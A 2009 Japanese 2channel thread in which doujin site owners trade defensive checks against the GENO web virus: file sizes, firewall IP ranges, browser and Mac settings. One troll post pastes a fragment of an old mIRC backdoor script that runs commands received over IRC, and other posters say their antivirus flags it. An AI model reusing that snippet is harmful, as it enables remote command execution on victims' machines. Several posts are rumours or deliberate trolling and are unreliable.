他の範囲指定についても書いてあるからウィキペディアの「IPアドレス」の項目でも見てくれ

>>625
セキュリティ板で同じこと聞いたらちゃんと教えてくれるかもしれない。

>>632
だから報道されないのかもなｗｗ


しかし報道したほうがいいと思うんだがな
実際企業のサイトにも被害広がってるわけだし

まとめサイトやここみて火狐いれたんだけど
AdobeFlashとかが上手くインストール出来ない…火狐初めてだから不慣れなんだけど
IEとはダウンロードの仕方が違うの？
ググッたりしたけど上手く解決方法が見つからない

それにしてもＶＩＰなみにスレの伸びがはぇえ

>>636
AdobeFlashはIEじゃないとダウンロードできないみたいだ
ちょっと前のレスか、前スレにあったような

>636
どういう風にインストールできないのか言わないといいようがない

シマンテックエンドポイントプロテクション、昨日から定義ファイルの
更新が三回あったけど対応してるんだろうか
落ち着かねえ

>>636
そっから先になるともうそういう板で聞いてくれとしか・・・

>>338
俺は2chのレスコピペしたりしてる。
レスの要点まとめるだけでもいいんじゃね

>>636
直接ブラウザにはインストールできない。
一旦インストーラーをDLしてからになるよ。
炎狐開いたままだと終了スレと警告が出るので閉じる。
ちゃんとできるから安心しる。

>>636
同じく昨日の明け方に火狐入れたんだけど
AdobeFlashがどうしてもインスコ出来ないんだ…

かといって下手に聞いてpgrされても、とも思って
ネット接続は止めておく以外無かった

土日だし、ここ同人板だし
自分みたいに徹夜で原稿やりつつチェックしてるのも居るだろう
いい情報でも悪い情報でも何でもいいから欲しいしね、今は

>>618
トン

この騒ぎ早く収まって欲しいけど
ウイルスの存在を知ってて対処した人よりも存在を知らないで感染してる人の方が
圧倒的に多いよな...マジ怖いわ...

まとめwiki見ろっていうのは釣りだからな
一番危ないのはまとめwiki

>>3
>>613が言っている通りで、Macユーザー用のページを作るなら
冒頭にこのように入れてから、対策をコピペしてほしい。でないと誤解を招く。
↓

今現在のウイルスの構造ではMacに感染しない。

ただし変異してウィルスの対象になるかもしれない可能性がわずかながらあるので
下記の対策を予防としてやっておきましょう。

>>606
知人情報なので確定ではないです。
GENOが出回った後に定義の更新がきてるのでということでした。

>3
>628に対応確定ではない旨追記お願いします。

何で？

アドビのサイトからフラッシュプレイヤーをダウンロード
FireFoxを閉じてさっき落としてきたexeを実行
インスト出来たらfirefoxを起動する

ＩＥみたいに自動ではインストできないよ。

>>633
ありがとう。
ウィキペディアと、どこぞのサイトで見つけた早見表を参考に出してみたので
多分間違いないと思う。

さっそくFWの範囲指定に追加するわ。

Vistaは大丈夫なの？
cmd.exe、regedit.exeは起動出来てるけど他の確認方法が…

>>643
あと、js切ってるなら、とりあえずアクセスする時だけ
許可してからの方がいいかも？

サイトにまとめwikiアドを忠告という意味で載せといたんだが
一番危ないのはまとめwikiをみて不安が・・・載せたままで大丈夫かな？

>>572のページで確認してみたところ、kernel32.dllは以下のものと全て一致
自分、まだSP2なんだけどSP3GDRフォルダに入ってたｗ

kernel32.dll　バージョン→5.1.2600.5781 日付→2009/3/21 時間→23:07　サイズ→1.235.968

これは安全って事でいいんですかね？

>3
本物そっくりの「Flash Player 10」偽サイト出現、目的はウイルス配布
　ttp://itpro.nikkeibp.co.jp/article/NEWS/20090514/330029/?ST=securityhole

↑早速こういう便乗悪質偽装トロイの木馬散布サイトが出てきているので注意。
　Adobe公式サイト→ダウンロード→FlashPlayer、必ずURLを確認すること


Safariは去年からWindows版が登場しているので、Firefox・Operaほどではないにしろ
標的にされる覚悟と危機意識はもつにこしたことはありません。

>>653
散々言われてるけどvistaだから絶対安全という訳ではない、いつ亜種がでるかも分からんし
とりあえずやれる事だけやっとくかそれでも不安なら回線切ってさっさと寝ろ

647は釣りだろ。
でないと恐すぎる

不要なサイトをhostsファイルに加えるスレ
http://pc12.2ch.net/test/read.cgi/win/1129451974/

>>653
>>3

>>655
そう思うなら消すなり自前の説明ページなり作ればいいだろ

>>653
自分もvistaだが
cmdもregditも起動できるか。
sqlsodbcのサイズも確認。
カスペルとニフティで全部スキャン。
サイトのソースも全部チェック。

ぐらいできてれば今のとこいいんじゃまいか？

うちはGENOの簡単な説明と注意勧告と自分の環境はセフセフなことだけ載せたよ
URL貼りつけるのも不安に思わせるかもしれないし
wikiその他のまとめの名前挙げて自分で調べてくださいって書いた

私は>>428ではありませんが>>607わかりやすかったです

ですがAdobe Flash Player10と Adobe Flash Player10 ActiveXとは
同じものなのでしょうか
どうもそれ以外にAdobe Flash Playerは入っていないようです
へたにアップロードしないほうがいいですかね

>>655
自分もサイトにまとめをリンクしてるが
ちょっと怖くなってきた

今更だが>>9って不正確だね

> 【よくある質問】
> Q：感染するとどうなるの？
> A：あなたのパソコンに侵入したウイルスは、ネットに繋がった時点で
> 　パスワード、クレジットカードの情報、FTPのパスワードなどを抜いてしまいます。
> 　感染者のパソコンからアップされたサイトのファイルにウイルスコードが自動挿入され、
> 　そのサイトを見た人を感染させます。

FTPのパスワードを抜くのはおそらくFTPで通信した時点だし、
その他の情報は抜かれるかどうかまだ謎のままだ

まとめwiki貶める奴が定期的に湧くがどういう了見だ？

サイトのソースに不自然な記号の羅列がなければセーフでいいのかな

なぜ危険なのかについて一切説明がないのになぜ怖くなるのかが分からんわ

>664
Adobe Flash Player10…Firefox、Safari、Opera用
Adobe Flash Player10 ActiveX…IEシリーズおよびIEエンジンを使ったブラウザ用（スレイプニルなど）

なんのためにまとめwikiの人が張り付いて情報更新してくれてるんだ…と思うが
信用ならないなら自分でまとめ作ってサイトにおけば？

このスレみて同人板の程度の低さに辟易した

連続投稿がしつこいな

>>626
さっきのURLをもっかい開いて調べてね

セキュリティ更新プログラムに関する情報
├セキュリティ更新プログラムの展開
.：├Windows XP (すべてのエディション)
.： ：├ファイル情報

結論からいえば問題はないんだけど。

>>636
Opera　入　れ　な　い　か　？

皆ちょっと落ち着け、ウィキは管理者が感染してもウィキの鯖が感染してなければ大丈夫なんだろ
今の所その報告は無い

情強気取りが撹乱させてるだけです

>>647はその前の発言からも釣りだろ

みんなこわがっておもしろいね＾q＾

wikiの「感染前の対策」に>>623の範囲も書いといたほうがいいな

そんなことよりサメの話しようぜ

539 名前：げの[sage] 投稿日：2009/05/17(日) 01:35:04 ID:8J2Z1lNR0
kerner32がそんなに怖いなら削除すればいいだろ

647 名前：geno[sage] 投稿日：2009/05/17(日) 02:08:58 ID:8J2Z1lNR0
まとめwiki見ろっていうのは釣りだからな
一番危ないのはまとめwiki



↑悪質な冗談ですね

N速の連中の冷やかしが来てるから冷静にな

ID:8J2Z1lNR0
は↑の通りどう見ても釣りだから気にするな
疑心暗鬼になる気持ちは分かるがちょっとパニくり過ぎやしないか
質問もテンプレに目を通してからにしろ

>>8J2Z1lNR0
池沼はさっさと糞して練れ

まとめサイトの感染云々は杞憂すぐる

ベンチマークサイト

http://azcji.cocolog-nifty.com/blog/cat1459704/index.html
http://www.police.pref.shizuoka.jp/keisatusho/kakegawa/kakegawa.htm
http://deanm.github.com/pre3d/monster.html

まあまとめサイトも感染するかもしれんけどな

テンプレ>>9は不正確だからな

wikiにfirefoxの先読み無効とかあるけどアホかよ
先読みされても実害無いだろ

>>666
例えば尼で買い物しようとして個人情報が抜かれる
例えばFTPで繋げた時にパスとファイルに接触する

という意味にとったが？＜ネットに繋がった時点
簡単なFAQだし、不正解とはいえないだろう
気になるなら正しい簡潔な文章をおまいが作ればいいだけ

>>683
糞を練ってPCに塗ったくるんですねわかります

>>667
GENO社員

>>655なんだけど、パニクりすぎてた、すこし落ち着いてみる。
反応ありがとう

>>3
94.229.65.160/27　は
94.229.65.160 - 94.229.65.191　の範囲を表します。

wikiの表記になぞらえると

94.229.65.160/27（94.229.65.160 - 94.229.65.191）

です。

>>678
サンクス、今それレスしようと思ってた。

もう30分おきにElleFileInfoで容量確認してる自分がいるｗｗ

>>494
俺、Kernel32のサイズが868 KB (888,832 バイト)なんだけど

>>687
Googleの検索結果見た時にまずいんだよ
過去ログ嫁

>>673
見てみた。そうか、全部展開しとかなきゃいけなかったんだな
すまない、ありがとう

あーちくしょう
レポートの参考資料探したいのに怖くてググれねぇ

>>694
やばいかも

>>688
それ、全然意味合いが違うよ。
FTPのパスだけを抜こうとするなら、FTP通信を盗聴するトロイが内に潜んでいれば意味が分かる。
でも、あらゆるパスとかを抜こうとすると、それでは話が処理できなくなる。

まとめwikiは安全だって前スレから外出だろうが
釣りや荒らしはやめろ

だが愉快犯によりまとめが改竄されたのは事実
まとめwikiは絶対大丈夫と思ってる奴いるだろ

lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

>>696
本を読みながらレポート頑張るんだ

結局、>>579が聞いてる
「ウィンドウズFWで特定IP遮断」というのは不可能ってことなのかな？
前スレでも聞いてる人いたけど回答無かったよね
もしやり方分かる人いたらご教示願いたい

>>701
おいやめろ

ID:wbhRHHzg0
ID:tVuAN5GY0

名前欄入れてない奴は他所から来た奴だろうからこういうのに惑わされるようなアホは
NGIDにぶっこんどけ

スレの流れ速すぎてだめだ

>>672
ジャンルスレなんかもっとひどいぞ
自分のところはジャンルスレで「感染してた！皆も注意してね！」というﾚｽが
「何で本スレ（ここ）に報告しねーんだよｶｽ」って最悪でボコボコにされてたw

>>657
KOEEEEEEEEEEEE
そっくりすぎ

遅くてすまないが。

>>603
Macの話なんだけど、10.5.7のアップデートは
ATIグラフィックスカード搭載MacでVMware Fusionの3Dアクセラレーション機能使ってると不具合ありなので該当者は注意ってのを入れたほうがいいかと。

ttp://journal.mycom.co.jp/news/2009/05/15/006/index.html

愉快犯が大量にきてるな

>>389のとおり設定しようとしたら、例外ルール設定を入力して「プロファイルの設定」ウインドウまでは
「OK」ボタン押せるんだけど、その後続けて「パーソナルファイアーウォール」ウインドウの「OK」ボタン押しても、
「現在使用中のパーソナルファイアーウォールプロファイルに対しては変更を保存できません。
ウイルスバスター2009を再起動してから再度実行してください」とアラートが出て、
キャンセルボタンを押すしかできず、設定ができません。

バスターを一旦終了して再起動しても、有効なプロファイルを別のものに切り替えてから
有効でないプロファイルを編集して、そこに設定しようとしても同じく
アラートが出て結局、設定ができない……なぜだorz

GENO祭り会場はここか

セキュ板本スレに比べたらましじゃないかなぁ、なんて

>>694
とりあえず、ファイルバージョンをコピペして>>527のリンク先で検索して引っかかれば安全らしいですよ
そもそもkernel32.dllはこのウィルスとは関係ないっぽい？
>>701
こんな事態なのにガキの遊びの如く使い古されたウィルスコード貼るなよ・・・
ビクっとなるから
悪い冗談だ

>>657
先月から騒がれてるのに情報遅すぎだろお前ら

>>693
EloFileってとこまで読んだ。

>>701
ノートン先生頑張っちゃうだろ。

>>701

それ貼るなっていってるだろ
愉快犯が湧いててうざいな

>>636です
レスしてくれた方々ありがとう

>>643
デスクトップにアイコンみたいなのがインストールされて火狐閉じて
それを実行→セットアップ完了したんだけど、これで大丈夫なのかな

叩き台作ると豪語しておいてツギハギでｽﾏｿ
ｽﾚに出たマカ向けを集めて組み合わせてみた

-----------ここから---------------
今現在のウイルスの構造ではMacに感染しない。

ただし変異してウィルスの対象になるかもしれない可能性がわずかながらあるので
下記の対策を予防としてやっておきましょう。

○10.3までのOSユーザー
Flash Playerを外す
Acrobat ReaderおよびPDFの拡張子割り当て機能を外す

○TigerとLeopard
Acrobatは9.1、Flash Playerは10.0.22.87以上に更新する
Acrobat Readerの初期設定からAcrobat JavaScriptをオフにする（AcrobatReaderは「プレビュー.app」で代用可能なので始めから入れない手もある）
10.5.7のアップデートは
ATIグラフィックスカード搭載MacでVMware Fusionの3Dアクセラレーション機能使ってると不具合ありなので該当者は注意。
ttp://journal.mycom.co.jp/news/2009/05/15/006/index.html

○Webブラウザ内閲覧機能を切るかJavaScriptオフにする

○Firefoxの場合
3.0.10に更新してNoScript入れること（ツール→アドオン→アドオンを追加→「NoScript」を入れる）
非表示状態になったFlashコンテンツをどうしても見たいときはマウスポインタを置き、リンク先が不正URLでないか確認した上で「一時的に許可」

○Safari・OmniWebなどWebKitベースブラウザの場合
「ダウンロードしたファイルを開く」をオフにする（Safariの「全般」で設定できるが見落とされてしまうことが多い）
Safariの開発メニューを表示させる方法：環境設定→詳細→メニューバーに"開発"メニューを表示　にチェックを入れる
Safariの「開発」でJavaScriptをオフにした場合でも、設定→セキュリティ→「JavaScriptを有効にする」および「プラグインを有効にする」も切っておく。
OmniWebなら初期設定→プラグインでFlashプラグインの活動を停止できる（OmniWebだけのシャットダウン、Safariには影響しません）

連投引っかかったからリモホ変え

>>695
めんどくせえ教えろ
先読みされてもjs実行されないだろうが

>>704,705
^w^

>>527じゃなかった
>>572の
http://www.microsoft.com/japan/technet/security/bulletin/MS09-015.mspx
ね

この際、新情報スレと、どんな質問にも答えるスレの二つ作っても良いんじゃね？
過去ログ見れば大体わかろうもんだが、
初めてこのウイルスを知って、ウイルス検知ジャンルだったら、一刻も早く対処したいだろうし、
質問被っても答えてやれる場所があったほうが安心じゃないかと思う。
聞かれるほうも、毎度毎度、過去ログ見ろって言ったって、イライラするだけだし、
結局同じ質問はなくならんと思うんだよね。

あと、火狐を入れたらそれで安心と思っている人が多いので、
入れただけじゃ安心じゃないよという警告文と、なぜ火狐が推奨されてるのかも書いたほうが。
googleの先読み禁止とか、noscripｔの導入方法とか、
確かに、サイト運営してるならそれぐらい自分で調べろといいたいところだが、
一般的に、サイトの運営って、今は本当に何も知らなくても誰でもできる時代なのだから、
それこそ、おじーちゃんおばーちゃん、下は小学生まで、みんな感染していると思ってあたったほうがいいと思う。
同人板もしかり。
つかこれ、解決すんの？

>>579です
ありがとうございます、
しかしWindowsFWにこれらを記述できるような場所がないのです
もしご存知でしたらWindowsFWでこれらを設定する方法を教えていただけないでしょうか

リストはまとめサイトにあったものをコピペしただけなので
申し訳ありません、どういう意味の数字なのかはわかりません

>>716
自動的にsqlsodbc.chmの容量見てくれるんだお

さあみんな良い子だから名前欄に〜をNGに突っ込もうねー

○自分のサイトが汚染されていないかソースを見て確認すること、FTPパスを変更すること
○動画はようつべならMacTubes、ニコならMacNicoTunesで見る。

○BootCampでXPを入れている人
C:¥WINDOWS¥system32¥sqlsodbc.chm　このサイズ表示（ディスク上のサイズではない）
50,727 bytes以外の数値に改ざんされていないかチェックすること。

>>672＝>>687＝>>701
反論されて嫌がらせとか程度が低いのは一体どっちなんだかね

>>727
>>720

>>718
ツール→アドオン→プラグイン
で、　ShockwaveFlash10.0r22
になってたらおｋ

>>698
ここはセキュ板と違ってウイルスの挙動や中身を解読する知識はない。
実際に何が行われているかまで検証はできない。
起こったことから想像して、被害の可能性を示唆して注意喚起していくだけ。

それともこれは、FTPのパスを抜き続けることのみが
目的のウイルスなのか？
作者の自己申告ならともかくｗ
亜種がどんどん出ているし、こっちからは目的を絞れないよ。

すみません、>>723は>>599さんあてです

>>727
そいつら見えない

で、先読み無効は意味なしでいいんだな？

>>732
>>727も見えないんじゃないの？

>>688
そもそも>>9のテンプレを今後使うことになってるのかどうか知らんが、なってるとすれば

新種のコンピュータウィルスが流行っています。
感染サイトを見ただけで感染発症し、大半のアンチウィルスソフトで検知されません。
変化が早く、一部の検知可能なソフトも最新型には対応できていない状況です。
全ジャンルでサイト管理人・閲覧者に感染チェックを推奨します。

特にサイト管理人は二次被害を起こしてしまいますので、早急な確認が望ましいと思われます。

【よくある質問】
Q：感染するとどうなるの？
A：あなたのパソコンに侵入したウイルスは、
　FTPによる通信を行った時点でFTPのIDとパスワードを盗みます。
　そうなるとFTPでアップロードしたサイトのファイルに悪意を持ったコードが勝手に挿入され、
　そのサイトを見た人を感染させます。
　その他の個人情報が盗まれるのかどうかはまだわかっていません。

Q：VistaとMacは感染しないの？
A：某企業サイトでの発見直後はVista、Macには感染しないと言われましたが
　新種も現れており安心できる状況ではありません。

詳細・感染の確認方法・対策は以下のまとめWikiと>>2-5あたり

同人サイト向け・通称「GENOウイルス」対策まとめ
http://www31.atwiki.jp/doujin_vinfo/

>>389
ウイルスバスター2009（ver.17.1.1251） の「処理」は「拒否」ではないだろうか。
うちのバスター先生の処理項目は、「許可」「拒否」「警告」だよ。「遮断」はない。

>>578
>>1 の同人サイト向けまとめwikiにある。
もっと詳しく知りたいなら ttp://www3.atword.jp/gnome/ かな。
ただし、知識がないと読んでも分からない上に不安になるだけだと思う。

とりあえず

嘘を嘘と見抜ける人でないと(掲示板を使うのは)難しい

初期から動いてくれてるまとめwikiさんなどは
都度対応してくれてるから、よっぽどなことがない限りは
疑わなくても大丈夫だと思う。

それに今のところは主に最新バージョンに更新さえしてれば
ほぼ心配ないらしいし、実害もまだFTPパスに関してのみ。

心配なら携帯や別PCからFTPパス変更して放置しておけばいい。
FTP触らなければ発信源になることもなさそうだし、
それ以上の不安材料を片っ端から持ってこられると
混乱を招くだけで良くないよ。

FTPソフトいじった人は、すぐにまとめwiki見ればいいし、
FTPソフトいじってない人はまず余計なことせず、ゆっくりスレ読んでまとめwiki読んで
それから質問でも遅くないと思う。

違ってたら訂正お願いします。

オペラやたらと推奨してる人がいるけど
火狐よりはオペラの方が簡単だとか便利だとかそういうメリットがあるの？

Vistaです。
Wikiに書いてあるとおりにsugsqlsodbc.chmを探したんですけど
どこにもないんですがこれって感染でしょうか？

>>733
標準で有効になっているやつはOK。わざわざ無効にする必要はない。

>>740
「C:\Windows\Help\mui」以下のディレクトリにsqlsodbc.chmがあります
　　sqlsodbc.chm を右クリック → プロパティでボリュームを確認
　　1個のファイル　50,727バイト　と表示されればOK
　　 49.5kbyteと表示された場合、右クリック、プロパティで50,727byteかどうか見る

セキュ板で成美堂出版が感染といってたけど既出？

>740
ここで問うよりもまとめwikiを見る・過去ログを検索するなどしたほうが早いと思います

>>731
ここだったか前スレだったか、WindowsFWではIP指定しての遮断ができないってあったぞ
他にFWがないのなら、フリーソフト入れて遮断した方がいいと思うが

>>3

マカ用まとめ
>>565
>>620
>>628

>>719
>>726

>>565と>>719.726は違う人？
どっちがいいのかわからん

このウイルス確認され始めたの何時頃？
このスレ見るまで今日だけでかなりのサイト踏んでしまったんだが

>>734
連鎖あぼーん設定してないだけだろ

>>741
Firefoxの先読みの無効意味ないのか・・・
言われてみればそりゃそうだ
そもそもgoogleの検索なんかは大丈夫なんじゃないの
リボンマジックとか速攻で攻撃サイト指定されたし

GoogleChrome使ってるやつはいないのか？

>>747
１か月以上前からあったよ

>>747
先月からだけど。

流行り出したの三日前

>740
まとめに書いてあるからちゃんと読め

>>740
VistaはUAC解除してなきゃ感染しない

以上

>>730
感染ルートと、トロイは別物として考えた方が良い。
ルートは、埋めないとなにを仕込まれてしまうか分からない恐怖の穴。
FTPのパスぶっこ抜かれるだけで済んでたらまだマシな話で(ry
トロイは、FTPの通信を監視して、アカとパスを抜いていくみたい。

>>739
どっちでもいいんじゃない。Opera使ってるから薦めるけど、
火狐がいいならそっちを使えばいいと思う。

>>723
さっき簡単にwinのFW確認したけど設定する所見当たらないね

>>740
C:\Windows\Help\muiに
数字のフォルダがあってその中にずらっと並んでる。
数字はバージョンによって違うのでわざと省いてるので注意。

0411とか0409とかそんな感じのフォルダがある。その中にあるはず。

>>751-752
そんな昔からあったのか、恐ろしい
とりあえず昨日まで起動出来たし今はavast先生が何も検出しなかったから大丈夫かな　ありがとう

>>702
そうする

ああ少し落ち着いてきた
今カスペ先生に確認してもらってんだけど、長いわー…

>>747
まとめサイトからいけるGENOまとめに経緯載ってるよ

>>729
ありがとう！解決しました

saymoveが感染ってのを見て対策しといてよかった
知ったのが今日だったらかなりgkbrしてたんだろうな…

>>748
あー名前欄じゃなくてIDであぼーんしてたのか

このスレバスターが反応するんだけど？

>>3
って、>>692はノートン2008の設定方法のところにはすでに書いてありますね。
すみませんでした。

>>738
まとめWikiの管理人さんが信用できるとしても、第三者の編集がありうる
リンク書き換えの警告も付け加えた方が良い

>>749
Googleを信頼しすぎてはダメ
たとえばティアラモードは、数時間経ってもまだ損害サイト指定されてない

>>739
どうせそんなにHDDの容量食わんから自分で使って判断するのが一番だ。
それが面倒ならブラウザスレ探してそっちで聞きましょう。

>>711
たまにあるらしい
ttp://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1222708562

>>763
>>701と思われ
それ以外だったら…gkbr

>>765
少なくとも今はWiki編集できるのは管理人氏だけだからまだいいけどな。

うちのXP
sqlsodbc.chm　1,323byte　2009年3月21日、23:18:57更新
kernel32.dll　1,232,384　2009年3月21日、23:18:57更新

sqlsodbc.chmのサイズが。。。改竄されてる・・・？　感染か？
そしてkernel32.dllの更新日時が全く一緒
これはkernel32.dllのタイムスタンプにsqlsodbc.chmが合わせて
windows updateに偽装しようとしているのか・・・？

あれ？　キーロガー仕込まれるって話じゃなかったっけ。
それでFTP関係以外のIDやパスワードにも注意ってことじゃなかったか？

普段に比べてESETがちょこちょこ定義データアップしてるが仕事しとるのかね
サイトのアップデート情報も一緒に更新してくれればいいのに

>>694
自分もKernel32のサイズが868 KB だった
最終更新日は09/04/15の07:13

もしこれが感染した日だったら、その後サイトの更新をしてしまっているが
サイトを全て確認してもソースにそれっぽい記述が見つからない
というか、スクリプトも全部自分で書いたのしかない

とりあえず、今はオンラインスキャンしてるけど……

>>765
>現在は編集を管理権限者に限定しており、改ざん箇所はありません。

あ、ほんと701にウイルス反応してる
まぎらわしいことよしてー

>>754
解除してなくても何にも考えないで実行押したら終了

>>755,766
そうか、ありがとう。
なんか特別いいことがあるのかなと思ったけど、最終的には自分の使い勝手だよね
ちょっと試してくるわ

ちなみにVistaね

>>771
FTPのパスワードを盗むのがキーロガーによるものかどうかはまだわかってないはず
キーロガーだとしてもキーロガーじゃないとしても
その他のIDやパスワードにも注意したほうがいいことは確かだ

セーフでした。教えてくれた人ありがとうございます。
まとめwikiは読んだんですけどこれをきにPCをしっかり勉強します。

神サイトが感染してた時のショックといったら…orz
歴史創作サイトで感染

つかコード貼られるだけで反応するような奴使ってる人って・・・
GENOに感染する奴は感染すべくして感染してるっぽいな。

とりあえず怖い奴はavastっていうウイルスアンチソフトでスキャンしとけ

ジャーン！って換羽ですか

>>784
おまえ誤爆だろｗｗ

>>745
そうですか…ありがとうございました。
ファイアーウォールでぐぐって来ます！

>>769 >>774
すまん、編集が禁止されたのメニューだけかと思ってた
今はもう全ページが編集禁止になってるんだな

>>785
>>776の目欄が気になったもので
僕の悪い癖

2ｃｈ見るときは専ブラ使おうよ…

おまえら騒ぎたいだけだろ

janeで良いジャーン！

【感染の確認方法】
�@cmd.exe（コマンドプロント）、regedit.exe（レジストリエディタ）が起動するか確認する
　※このウイルスに感染しているとコマンドプロンプト、レジストリエディタが立ち上がらない。
　■確認方法
　１．スタートから「ファイル名を指定して実行」
　２．「ファイルを指定して実行」という画面が出てくるので、入力欄に
　　　「regedit.exe」と入力して「OK」ボタンを押す。
　　　※立ち上がったことを確認したら弄らず閉じること。
　３．同様に、「cmd.exe」（全部小文字で）と入力して「OK」ボタンを押す
　　　※立ち上がったことを確認したら�Aへ

�Asqlsodbc.chmのファイルサイズの確認を確認する
　■Windows XP:
　　改ざんされていなければ
　　C:\WINDOWS\system32\sqlsodbc.chm　50,727 bytes
　■Windows 2000:
　　そもそも存在しないはずなので、
　　C:\WINDOWS\system32\sqlsodbc.chmが無いことを確認。
　■確認方法
　　１．スタートから「ファイル名を指定して実行」
　　２．「ファイルを指定して実行」という画面が出てくるので、入力欄に
　　「cmd.exe」（全部小文字で）と入力して「OK」ボタンを押す
　　　→背景が黒いウィンドウが開いた場合３へ
　　　→起動しない場合：感染疑い濃厚
　　３．背景が黒いウィンドウを選択。
　　　小文字で「dir C:\WINDOWS\system32\sqlsodbc.chm」と入力してEnterキー

�Bavast!（無料のアンチウイルスソフト）で確認

ジャーン！ジャーン！
げぇ！GENO！

386=711です。


>>389=400、
>>767
ありがとうございます！
まとめサイトの感染判定で無事だったので、予防策もひとつづつ試していき
最後にこの設定をしようとしたら進めなくなったので助かりました。

有志の皆様のお陰でやれることは大体やりつくした。
だが神経が高ぶって眠れそうにない。

名前欄もまともに入れられないやつは全てスルーでおｋ？

>>788　　　　　 　 　 　 ／　 　 　 　 　 　 ＜三||三||三||三||三三三ヾ､=＝=,､　　　　　Z G
　ヽ　　　　　　　　　　　 l　　 　 　 　 　 　 　 ||` ||ミ ||三||フ,||￣　　￣｀`ヾミノﾉ三三ヽ　/ 　Ｅ　げ
　ヽ 　 ／ | |　　　ヽ　　　 　 　 と　音　は　 ||　||　 ||／||　 || 　 ＿＿　　 | |ヽ三三;／|　7　Ｎ　 え
　＿／　　　　　　ヽ　　 /　| |　ま　が　わ　 ||　||　 ||／||　 ||￣　　　￣｀`| |､_ゞ､／|| || -'＿Ｏ 　 っ
　 　 ヤ　　　　　__＿／　 　 　 ら 　 　 わ　 ||　||　 ||r‐‡―‡―――‐--､.| |　｜||　|| ||　　　ゝ
　　　　　　　 　 　 ヤ　　　　　 ぬ 　 　 　 　 ||　||／‡|　 ヽ､{　（_／｀`ヽ / | |'‐┘||　|| ||　　　 ｀>_
＿｜＿＿＿____　　　＿　　　　　　　　　　　 ||,. ‡　　|　'￣ | ≡ l￣ヽ,　ヽ,| | ､｜||　|| ||　　　￣/／L
＿｜＿＿＿__　/　__＿｀`ヽ　　　　　 　 　 / ‡　　　 |_ヽ0.,/ 三ヾ.0_/二　l| |＾i｜||　|| ||
　　|　　　　　　/　　　　// ||ｰ―--,　,___,ノ　 　 　 　 | '"~/　 ―--三､　　| |r'ﾉ　||　‡ ‡
　ヽ　　/　 　 /　　 　 ./'　 ||　　　( __ﾆ=―　　　　　　l　　ヽ､　　　ヽ、｀`　| |' l　 ‡
　 ＿／ 　ヽ　　/　　 .句|　||　　　　　　　　　　　　 　 l /ヽ￣￣｀`ヽヽ∪　| |)ヽ
　　　　　　＿／　　　　　|　||　　　 　 　 |　/ / 　 　 .|　!{　ヽ_＿　　ﾉ　｝　ﾉ |/ ＼二､ ､
　　　　　　　　　　　　　　|　||　　　　　　 ＼ ―　　　.|　|ヽ　　―￣　 ﾉ／/| |(（ / >､ ＼ ､
　　　　　　　　 　 |　 ／　―――　‐┼　 　 ￣　　 ,.|　|/ |＼ _,､,_　／ .//,| | )//　　ヽ､）〉
　　　　　 　 　 　 ＼_　　 |　||　　　　` 　 　 ,. - ―/ |　|(）,l i川川リ　 //(_,| |//　　 　 //　／
　　　　　　　　 　 　 　 　 |　||　　　　　　／　　　 / / ./(）)| | 川リ　 //.(（_,| |,'　　　　//　 /
　　　　　　　　　　　 　 　 |　||　　　　　/　　　　　|/　/|(（）| |ﾉツ　 //(（）)/| .|　　　 //　 /
　　　　　　　　　　　　　　 |　||　　　　/　　　　 　/　/. |(_）)| |/ 　 //(（）)//|　|　　 //　 /

ふたばは感染してないのかな？

>>796
んなモン自分で判断しろ

>>736
2008だけど俺もその3つだ
「拒否」が正しいな

細かいけれど修正お願いします
>>3

ノートンは対応しないつもりか？
カスペルスキーに乗り換えようかな

UnderForge of Lackの焼却炉全焼き推奨にすれば、多少マシになるような気がした。

sqlsodbc.chmが表示されない／まとめWikiに新しく上がった要チェックファイルが見つからない場合

・不可視属性ファイルを可視化する→ターミナル起動
不可視含め全ファイル表示：defaults write com.apple.finder AppleShowAllFiles true
リターンしてFinder再起動：killall Finder

全部のFinderが消えて再起動し、不可視ファイルが表示された状態になる。
※戻すとき：defaults write com.apple.finder AppleShowAllFiles false

不可視→可視はTinkerTool、Onyxなどを使うのもおk
TinkerTool：http://www.bresink.de/osx/0TinkerTool/download.html
Onyx：http://www.titanium.free.fr/pgs2/english/download.html

マカー用ウイルススキャンソフト（フリー）
ClamXav：http://www.clamxav.com/

左のページナビのDLをクリックすればOSのバージョンごとに案内が出る。
ダウンロードしたらまず「ウイルス定義を更新」をクリックして最新の定義をいれること。
環境設定のスケジュールで定期スキャンが設定できるが、ウイルス定義の更新は自動では
されないので、なるべく使用せず手動スキャン推奨。
フォルダ監視ができるのでサイトのローカル保存フォルダを指定するのは大丈夫。
※Mac対応した亜種が発生して感染しても定義を更新するまで引っかからない可能性がある
※過信しないことが最大のセキュリティ

-----------------ここまで------------------

連投引っかかってた　ほんとツギハギしただけでｽﾏｿ
詳しい人ツッコミよろしく

>>796
板住人じゃない証拠だしね
普段ならウイルス扱いで誰も相手しない

今は他板住人も出入りするから仕方ないね

>>3
>>781

小規模な同人系リンクサイトを運営しています。
Mac機で全部リンク先チェックしにいきました。
１件アウトでしたのでリンクurlをダミーに置き換えて仮登録にして
当該サイトの管理人に対策要請のメールを送りました。
ジャンルは既に報告されているので書きませんが

他人事だと思ってたわけじゃないけどほんとに火の粉が降ってきたので慄然としているところです

ごめん名前抜けてた・・・orz
とりあえずジャンル幸に緊急のお知らせですってメルフォから送った
幸の最後の更新06年だが気づいてもらえるだろうか・・・

>>694,>>773
自分も全く同じサイズ。
更新日は4/16だったけど

まあカーネル関係ないっぽいし

まとめ管理人様、乙です。

Vistaです。
アドビ Playerを削除しました。
Acrobat Readerは仕事で使うので、
最新の物を入れました。
Java切り・IE8導入しました。
ウィルスバスターは入っています。

質問です。
Acrobat ReaderおよびPDFの拡張子割り当て機能の
外し方がわかりません。

「C:\Windows\Help\mui」以下のディレクトリの
「C:\Windows\Help\mui」をどうやって画面上に
表示させるのかがわかりません。
どのキーを押せばいいのでしょうか？

スマン、マジで>>803の意味がよくわからない。
sqlsodbc.chmとMacに何の関係があるんだ？

サイト巡りしたいのに怖くてできん…
まだ報告あがってないけど油断はできないよなー

ウィルスって誰かが作ったもんなの？そんな高度なウィルスなんて作れるもんなんですか？
だとしたら嫌だな

いいかげんチラ裏報告とか自分がセーフだったとか
まとめやスレ見ればわかることを質問するのやめないか


>>803
詳しくていいんだけど、マカーは今のところ感染報告が一切ないわけで
そこまで場所を割いて懇切丁寧な説明が必要なのか疑問。
被害が深刻なWinより丁寧になってるよ？

もっと詳しい対策をとりたい人はマク板や脳板へぐらいでいいんじゃないの

